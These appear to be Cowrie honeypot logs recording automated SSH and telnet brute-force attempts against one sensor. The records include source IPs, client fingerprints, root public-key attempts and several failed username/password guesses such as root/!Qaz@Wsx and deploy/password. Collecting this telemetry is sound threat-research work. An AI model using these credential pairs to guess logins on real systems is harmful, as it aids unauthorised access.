{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:11.389374Z","src_ip":"45.153.34.112","session":"5b2d241d8c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:11.477207Z","src_ip":"45.153.34.112","session":"5b2d241d8c1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:11.725345Z","src_ip":"45.153.34.112","session":"5b2d241d8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.2578821182251,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:11.769129Z","src_ip":"192.119.13.58","session":"7deef9ba66e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:12.811026Z","src_ip":"45.153.34.112","session":"5b2d241d8c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33086,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6745794cb7c","protocol":"telnet","message":"New connection: 192.119.13.58:33086 (10.17.0.5:23) [session: f6745794cb7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:14.667674Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bc05cb01315","protocol":"ssh","message":"New connection: 45.153.34.112:43940 (10.17.0.5:22) [session: 6bc05cb01315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:15.295772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:15.301312Z","src_ip":"45.153.34.112","session":"6bc05cb01315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:15.384545Z","src_ip":"45.153.34.112","session":"6bc05cb01315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"worker","password":"worker","message":"login attempt [worker/worker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:15.638435Z","src_ip":"45.153.34.112","session":"6bc05cb01315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:16.728675Z","src_ip":"45.153.34.112","session":"6bc05cb01315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45102,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a0330efd269","protocol":"telnet","message":"New connection: 192.119.13.58:45102 (10.17.0.5:23) [session: 5a0330efd269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:17.502194Z"}
{"eventid":"cowrie.session.closed","duration":42.38408160209656,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:17.633188Z","src_ip":"192.119.13.58","session":"314bccd4c355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43962,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2515c5050a0","protocol":"ssh","message":"New connection: 45.153.34.112:43962 (10.17.0.5:22) [session: a2515c5050a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:18.763852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:18.768339Z","src_ip":"45.153.34.112","session":"a2515c5050a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:18.850689Z","src_ip":"45.153.34.112","session":"a2515c5050a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:19.098933Z","src_ip":"45.153.34.112","session":"a2515c5050a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:20.183502Z","src_ip":"45.153.34.112","session":"a2515c5050a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59112,"dst_ip":"10.17.0.5","dst_port":22,"session":"525195c79fdf","protocol":"ssh","message":"New connection: 45.153.34.112:59112 (10.17.0.5:22) [session: 525195c79fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:22.613385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:22.618384Z","src_ip":"45.153.34.112","session":"525195c79fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:22.700625Z","src_ip":"45.153.34.112","session":"525195c79fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb@1234","message":"login attempt [tidb/tidb@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:22.948822Z","src_ip":"45.153.34.112","session":"525195c79fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:24.038773Z","src_ip":"45.153.34.112","session":"525195c79fdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59116,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ecf192a20dc","protocol":"ssh","message":"New connection: 45.153.34.112:59116 (10.17.0.5:22) [session: 9ecf192a20dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:26.194668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:26.199082Z","src_ip":"45.153.34.112","session":"9ecf192a20dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:26.281018Z","src_ip":"45.153.34.112","session":"9ecf192a20dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:26.528556Z","src_ip":"45.153.34.112","session":"9ecf192a20dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:27.614290Z","src_ip":"45.153.34.112","session":"9ecf192a20dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":58582,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0f74a75c714","protocol":"ssh","message":"New connection: 194.120.230.72:58582 (10.17.0.5:22) [session: b0f74a75c714]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.037277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.041384Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.132865Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VqqIh4SihBP6/3yZ1gyWD4WExrmIAlmvB/gKNeKSmHzF/ZXbSgbmBulYCOazh0C4bEaJvVZsbjn49S95IIKXj+tFNqhlO/UodRUB4e1EeabJlCly5RQv6J4OS2S2dH+AanVKl6QRYDDtoQvuyqG6KNCu5sjFCMLgIV5wW+hCmOvgnboU9HuRMTLfz9DkFznKMFsMJ2uojIjq4WzD5fYwYDn9aNZ8mDacaNow6UkTGNPVg/pRZwzsOin0LOcUfK/PENnchNZE3uJTWvXMyFChuanGFKF28AcQqeQ3WcH8OrmomFnYqSZwIUTUkQszmsy079BJjEV+F9VqQ4ygawq8w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.570803Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:16:2d:dd:8e:b7:95:b8:89:67:8d:24:10:55:98:1b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3VqqIh4SihBP6/3yZ1gyWD4WExrmIAlmvB/gKNeKSmHzF/ZXbSgbmBulYCOazh0C4bEaJvVZsbjn49S95IIKXj+tFNqhlO/UodRUB4e1EeabJlCly5RQv6J4OS2S2dH+AanVKl6QRYDDtoQvuyqG6KNCu5sjFCMLgIV5wW+hCmOvgnboU9HuRMTLfz9DkFznKMFsMJ2uojIjq4WzD5fYwYDn9aNZ8mDacaNow6UkTGNPVg/pRZwzsOin0LOcUfK/PENnchNZE3uJTWvXMyFChuanGFKF28AcQqeQ3WcH8OrmomFnYqSZwIUTUkQszmsy079BJjEV+F9VqQ4ygawq8w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.574973Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:2a:45:45:8e:97:bb:5a:f5:16:31:de:69:f3:c7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAz5uzIYeS8IuSYb6/n22JkSo0nObpoFFQnA3rfH/w/noVazGn2lvVXog/mBryKdgvwZhFwdV6EuQM5bo9+FbC1EmwRiDA42yJhwKI2l2Le7Dw8RRz6gmccYPvVeTQX7PAHgCZTqBAC+d9916PNIT7l8kkeGlVqmiNOu7B/j99ZN9WiX3il/DrXxQHV41/sRhYj8Cb3h5Kvbzkg4EpNi8BaXiQHGqQ9jR0co5c0DymhDhqtN0aHLn4aVcmxrshUgEzPWM9S/LG8R8tDfWSCNOEKRHwPjcTNZ+8L1Cky3e2YNwsV6r91+yUUlbQTl2Qbv87cGQPM8BJkmFjhZEOQ/n","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:2a:45:45:8e:97:bb:5a:f5:16:31:de:69:f3:c7:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.667863Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:2a:45:45:8e:97:bb:5a:f5:16:31:de:69:f3:c7:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDjAz5uzIYeS8IuSYb6/n22JkSo0nObpoFFQnA3rfH/w/noVazGn2lvVXog/mBryKdgvwZhFwdV6EuQM5bo9+FbC1EmwRiDA42yJhwKI2l2Le7Dw8RRz6gmccYPvVeTQX7PAHgCZTqBAC+d9916PNIT7l8kkeGlVqmiNOu7B/j99ZN9WiX3il/DrXxQHV41/sRhYj8Cb3h5Kvbzkg4EpNi8BaXiQHGqQ9jR0co5c0DymhDhqtN0aHLn4aVcmxrshUgEzPWM9S/LG8R8tDfWSCNOEKRHwPjcTNZ+8L1Cky3e2YNwsV6r91+yUUlbQTl2Qbv87cGQPM8BJkmFjhZEOQ/n","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.671485Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:4d:9b:73:14:60:67:e6:dc:ed:e3:74:b4:16:1b:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL9Ixj1Q60PB0EmVUEsTrblaCww4BEypWMdQbmzdmAccwspOnQjQZxgBHJ0tv5jtectxSZez8gO/9dHZ2P6SuA6MpcUj9cO5JmZvJWU+ZEzdb9A9CLb3VbTyGJcr9uoNLzZJ5eCTFLskzmRVXR5e9KuhY+AgzZMhj4MBbr11iVAs3ogt9JHtqc6bODFwXXpYhzev/SZTTSNHuUVFgFYlCueaWMoUELFq3c1p98HVcQ4EMfexaBmIhE3Tr7AqEYCV1LdMOGpVqKyLKKe6dSp5anVXebnNT+7Y9+330Q3RiAAriGbGHpLm98wnQro+WRbvshSkJdoNN4SkMcIog4uwoZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:4d:9b:73:14:60:67:e6:dc:ed:e3:74:b4:16:1b:65","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.764761Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:4d:9b:73:14:60:67:e6:dc:ed:e3:74:b4:16:1b:65","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDL9Ixj1Q60PB0EmVUEsTrblaCww4BEypWMdQbmzdmAccwspOnQjQZxgBHJ0tv5jtectxSZez8gO/9dHZ2P6SuA6MpcUj9cO5JmZvJWU+ZEzdb9A9CLb3VbTyGJcr9uoNLzZJ5eCTFLskzmRVXR5e9KuhY+AgzZMhj4MBbr11iVAs3ogt9JHtqc6bODFwXXpYhzev/SZTTSNHuUVFgFYlCueaWMoUELFq3c1p98HVcQ4EMfexaBmIhE3Tr7AqEYCV1LdMOGpVqKyLKKe6dSp5anVXebnNT+7Y9+330Q3RiAAriGbGHpLm98wnQro+WRbvshSkJdoNN4SkMcIog4uwoZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.768939Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
